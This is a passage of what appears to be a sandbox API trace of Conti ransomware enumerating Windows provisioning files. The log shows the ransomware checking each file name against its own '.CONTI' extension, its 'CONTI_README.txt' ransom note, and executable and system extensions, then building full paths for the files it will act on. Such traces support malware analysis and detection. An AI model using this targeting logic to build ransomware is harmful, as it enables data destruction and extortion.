	[0108.979] lstrcmpiW (lpString1="247__Connections_Cellular_Tango (Luxembourg)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0108.979] lstrcmpiW (lpString1="247__Connections_Cellular_Tango (Luxembourg)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0108.979] StrStrIW (lpFirst="247__Connections_Cellular_Tango (Luxembourg)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.979] StrStrIW (lpFirst="247__Connections_Cellular_Tango (Luxembourg)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.979] StrStrIW (lpFirst="247__Connections_Cellular_Tango (Luxembourg)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0108.979] StrStrIW (lpFirst="247__Connections_Cellular_Tango (Luxembourg)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0108.979] StrStrIW (lpFirst="247__Connections_Cellular_Tango (Luxembourg)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0108.979] StrStrIW (lpFirst="247__Connections_Cellular_Tango (Luxembourg)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0108.979] StrStrIW (lpFirst="247__Connections_Cellular_Tango (Luxembourg)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.979] StrStrIW (lpFirst="247__Connections_Cellular_Tango (Luxembourg)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.979] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0108.979] lstrlenW (lpString="247__Connections_Cellular_Tango (Luxembourg)_i0$(__MVID)@WAP.provxml") returned 68
	[0108.979] GetProcessHeap () returned 0x1720000
	[0108.979] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13e) returned 0x17d7768
	[0108.979] lstrcpyW (in: lpString1=0x17d7768, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0108.979] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0108.979] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="247__Connections_Cellular_Tango (Luxembourg)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\247__Connections_Cellular_Tango (Luxembourg)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\247__Connections_Cellular_Tango (Luxembourg)_i0$(__MVID)@WAP.provxml"
	[0108.979] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x909490d0, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x909490d0, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x909490d0, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cc, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="248__Connections_Cellular_Orange (Luxembourg)_i0$(__MVID)@WAP.provxml", cAlternateFileName="248__C~1.PRO")) returned 1
	[0108.979] lstrcmpiW (lpString1="248__Connections_Cellular_Orange (Luxembourg)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0108.979] lstrcmpiW (lpString1="248__Connections_Cellular_Orange (Luxembourg)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0108.979] StrStrIW (lpFirst="248__Connections_Cellular_Orange (Luxembourg)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.979] StrStrIW (lpFirst="248__Connections_Cellular_Orange (Luxembourg)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.979] StrStrIW (lpFirst="248__Connections_Cellular_Orange (Luxembourg)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0108.979] StrStrIW (lpFirst="248__Connections_Cellular_Orange (Luxembourg)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0108.979] StrStrIW (lpFirst="248__Connections_Cellular_Orange (Luxembourg)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0108.980] StrStrIW (lpFirst="248__Connections_Cellular_Orange (Luxembourg)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0108.980] StrStrIW (lpFirst="248__Connections_Cellular_Orange (Luxembourg)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.980] StrStrIW (lpFirst="248__Connections_Cellular_Orange (Luxembourg)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.980] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0108.980] lstrlenW (lpString="248__Connections_Cellular_Orange (Luxembourg)_i0$(__MVID)@WAP.provxml") returned 69
	[0108.980] GetProcessHeap () returned 0x1720000
	[0108.980] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x140) returned 0x17d79f8
	[0108.980] lstrcpyW (in: lpString1=0x17d79f8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0108.980] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0108.980] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="248__Connections_Cellular_Orange (Luxembourg)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\248__Connections_Cellular_Orange (Luxembourg)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\248__Connections_Cellular_Orange (Luxembourg)_i0$(__MVID)@WAP.provxml"
	[0108.980] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9096f33b, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9096f33b, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9096f33b, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c5, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="249__Connections_Cellular_CTM (Macao SAR)_i0$(__MVID)@WAP.provxml", cAlternateFileName="249__C~1.PRO")) returned 1
	[0108.981] lstrcmpiW (lpString1="249__Connections_Cellular_CTM (Macao SAR)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0108.981] lstrcmpiW (lpString1="249__Connections_Cellular_CTM (Macao SAR)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0108.981] StrStrIW (lpFirst="249__Connections_Cellular_CTM (Macao SAR)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.981] StrStrIW (lpFirst="249__Connections_Cellular_CTM (Macao SAR)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.981] StrStrIW (lpFirst="249__Connections_Cellular_CTM (Macao SAR)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0108.981] StrStrIW (lpFirst="249__Connections_Cellular_CTM (Macao SAR)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0108.981] StrStrIW (lpFirst="249__Connections_Cellular_CTM (Macao SAR)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0108.981] StrStrIW (lpFirst="249__Connections_Cellular_CTM (Macao SAR)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0108.981] StrStrIW (lpFirst="249__Connections_Cellular_CTM (Macao SAR)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.981] StrStrIW (lpFirst="249__Connections_Cellular_CTM (Macao SAR)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.981] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0108.981] lstrlenW (lpString="249__Connections_Cellular_CTM (Macao SAR)_i0$(__MVID)@WAP.provxml") returned 65
	[0108.981] GetProcessHeap () returned 0x1720000
	[0108.981] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x138) returned 0x17d6808
	[0108.981] lstrcpyW (in: lpString1=0x17d6808, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0108.981] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0108.981] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="249__Connections_Cellular_CTM (Macao SAR)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\249__Connections_Cellular_CTM (Macao SAR)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\249__Connections_Cellular_CTM (Macao SAR)_i0$(__MVID)@WAP.provxml"
	[0108.981] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x901892f8, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x901892f8, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x901892f8, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1d3, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="24__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", cAlternateFileName="24__CE~1.PRO")) returned 1
	[0108.981] lstrcmpiW (lpString1="24__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpString2=".") returned 1
	[0108.981] lstrcmpiW (lpString1="24__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpString2="..") returned 1
	[0108.981] StrStrIW (lpFirst="24__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpSrch=".CONTI") returned 0x0
	[0108.981] StrStrIW (lpFirst="24__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.981] StrStrIW (lpFirst="24__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpSrch=".exe") returned 0x0
	[0108.981] StrStrIW (lpFirst="24__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpSrch=".dll") returned 0x0
	[0108.981] StrStrIW (lpFirst="24__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpSrch=".lnk") returned 0x0
	[0108.981] StrStrIW (lpFirst="24__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpSrch=".sys") returned 0x0
	[0108.981] StrStrIW (lpFirst="24__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpSrch=".CONTI") returned 0x0
	[0108.981] StrStrIW (lpFirst="24__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.981] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0108.981] lstrlenW (lpString="24__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml") returned 67
	[0108.981] GetProcessHeap () returned 0x1720000
	[0108.981] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13c) returned 0x17d6430
	[0108.981] lstrcpyW (in: lpString1=0x17d6430, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0108.981] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0108.982] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="24__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\24__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\24__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml"
	[0108.982] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9096f33b, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9096f33b, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9096f33b, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x283, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="250__Connections_Cellular_CTM (Macao SAR)_i0$(__MVID)@WAP.provxml", cAlternateFileName="250__C~1.PRO")) returned 1
	[0108.982] lstrcmpiW (lpString1="250__Connections_Cellular_CTM (Macao SAR)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0108.982] lstrcmpiW (lpString1="250__Connections_Cellular_CTM (Macao SAR)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0108.982] StrStrIW (lpFirst="250__Connections_Cellular_CTM (Macao SAR)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.982] StrStrIW (lpFirst="250__Connections_Cellular_CTM (Macao SAR)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.982] StrStrIW (lpFirst="250__Connections_Cellular_CTM (Macao SAR)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0108.982] StrStrIW (lpFirst="250__Connections_Cellular_CTM (Macao SAR)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0108.982] StrStrIW (lpFirst="250__Connections_Cellular_CTM (Macao SAR)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0108.982] StrStrIW (lpFirst="250__Connections_Cellular_CTM (Macao SAR)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0108.982] StrStrIW (lpFirst="250__Connections_Cellular_CTM (Macao SAR)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.982] StrStrIW (lpFirst="250__Connections_Cellular_CTM (Macao SAR)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.982] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0108.982] lstrlenW (lpString="250__Connections_Cellular_CTM (Macao SAR)_i0$(__MVID)@WAP.provxml") returned 65
	[0108.982] GetProcessHeap () returned 0x1720000
	[0108.982] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x138) returned 0x17d6578
	[0108.982] lstrcpyW (in: lpString1=0x17d6578, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0108.982] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0108.982] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="250__Connections_Cellular_CTM (Macao SAR)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\250__Connections_Cellular_CTM (Macao SAR)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\250__Connections_Cellular_CTM (Macao SAR)_i0$(__MVID)@WAP.provxml"
	[0108.982] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9096f33b, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9096f33b, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9096f33b, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d1, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="251__Connections_Cellular_Hutchison - 3 (Macao SAR)_i0$(__MVID)@WAP.provxml", cAlternateFileName="251__C~1.PRO")) returned 1
	[0108.982] lstrcmpiW (lpString1="251__Connections_Cellular_Hutchison - 3 (Macao SAR)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0108.982] lstrcmpiW (lpString1="251__Connections_Cellular_Hutchison - 3 (Macao SAR)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0108.982] StrStrIW (lpFirst="251__Connections_Cellular_Hutchison - 3 (Macao SAR)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.982] StrStrIW (lpFirst="251__Connections_Cellular_Hutchison - 3 (Macao SAR)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.982] StrStrIW (lpFirst="251__Connections_Cellular_Hutchison - 3 (Macao SAR)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0108.982] StrStrIW (lpFirst="251__Connections_Cellular_Hutchison - 3 (Macao SAR)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0108.982] StrStrIW (lpFirst="251__Connections_Cellular_Hutchison - 3 (Macao SAR)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0108.982] StrStrIW (lpFirst="251__Connections_Cellular_Hutchison - 3 (Macao SAR)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0108.982] StrStrIW (lpFirst="251__Connections_Cellular_Hutchison - 3 (Macao SAR)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.982] StrStrIW (lpFirst="251__Connections_Cellular_Hutchison - 3 (Macao SAR)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.982] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0108.982] lstrlenW (lpString="251__Connections_Cellular_Hutchison - 3 (Macao SAR)_i0$(__MVID)@WAP.provxml") returned 75
	[0108.983] GetProcessHeap () returned 0x1720000
	[0108.983] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x14c) returned 0x17fb208
	[0108.983] lstrcpyW (in: lpString1=0x17fb208, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0108.983] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0108.983] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="251__Connections_Cellular_Hutchison - 3 (Macao SAR)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\251__Connections_Cellular_Hutchison - 3 (Macao SAR)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\251__Connections_Cellular_Hutchison - 3 (Macao SAR)_i0$(__MVID)@WAP.provxml"
	[0108.983] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9096f33b, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9096f33b, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9096f33b, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c6, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="252__Connections_Cellular_SmarTone (Macao SAR)_i0$(__MVID)@WAP.provxml", cAlternateFileName="252__C~1.PRO")) returned 1
	[0108.983] lstrcmpiW (lpString1="252__Connections_Cellular_SmarTone (Macao SAR)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0108.983] lstrcmpiW (lpString1="252__Connections_Cellular_SmarTone (Macao SAR)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0108.983] StrStrIW (lpFirst="252__Connections_Cellular_SmarTone (Macao SAR)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.983] StrStrIW (lpFirst="252__Connections_Cellular_SmarTone (Macao SAR)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.983] StrStrIW (lpFirst="252__Connections_Cellular_SmarTone (Macao SAR)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0108.983] StrStrIW (lpFirst="252__Connections_Cellular_SmarTone (Macao SAR)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0108.983] StrStrIW (lpFirst="252__Connections_Cellular_SmarTone (Macao SAR)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0108.983] StrStrIW (lpFirst="252__Connections_Cellular_SmarTone (Macao SAR)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0108.983] StrStrIW (lpFirst="252__Connections_Cellular_SmarTone (Macao SAR)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.983] StrStrIW (lpFirst="252__Connections_Cellular_SmarTone (Macao SAR)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.983] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0108.983] lstrlenW (lpString="252__Connections_Cellular_SmarTone (Macao SAR)_i0$(__MVID)@WAP.provxml") returned 70
	[0108.983] GetProcessHeap () returned 0x1720000
	[0108.983] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x142) returned 0x17f9478
	[0108.983] lstrcpyW (in: lpString1=0x17f9478, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0108.983] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
